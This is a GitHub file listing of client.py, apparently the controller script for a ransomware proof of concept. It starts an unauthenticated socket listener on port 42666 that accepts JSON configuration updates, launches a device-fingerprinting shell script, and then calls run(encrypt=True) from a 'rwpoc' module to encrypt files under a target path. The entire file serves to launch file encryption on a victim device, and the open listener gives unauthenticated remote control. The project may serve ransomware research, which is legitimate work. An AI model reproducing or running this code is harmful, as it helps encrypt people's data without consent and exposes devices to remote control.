-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathclient.py
68 lines (53 loc) · 1.88 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from os import path, remove
from json import loads
from multiprocessing import Process
from socket import AF_INET, SOCK_STREAM, socket
from subprocess import call
from time import sleep
from globals import get_config_path, update_existing_config
from rwpoc import run
TARGET_PATH = "<start-path-on-target-device>"
def listen_for_config_changes():
with socket(AF_INET, SOCK_STREAM) as sock:
sock.bind(("0.0.0.0", 42666))
sock.listen(1)
while True:
conn, addr = sock.accept() # keep listening for new connections
with conn:
while True:
data = conn.recv(1024) # listen for incoming data of connection
if not data:
break
new_config = loads(data.decode(encoding="utf-8"))
print("received", new_config)
update_existing_config(new_config)
def collect_device_fingerprint():
call("./fingerprinter.sh") # without option "-n <limit>", this will continuously collect FP
def kill_process(proc):
print("kill Process", proc)
proc.terminate()
proc.join()
print("killed Process", proc)
if __name__ == "__main__":
config_path = get_config_path()
if path.exists(config_path):
remove(config_path)
procs = []
proc_config = Process(target=listen_for_config_changes)
procs.append(proc_config)
proc_config.start()
proc_fp = Process(target=collect_device_fingerprint)
procs.append(proc_fp)
proc_fp.start()
print("Waiting for initial config...")
while not path.exists(config_path):
sleep(1)
try:
run(encrypt=True, absolute_paths=TARGET_PATH)
finally:
print("finally")
for proc in procs:
if proc.is_alive():
kill_process(proc)
else:
print("Process", proc, "already dead.")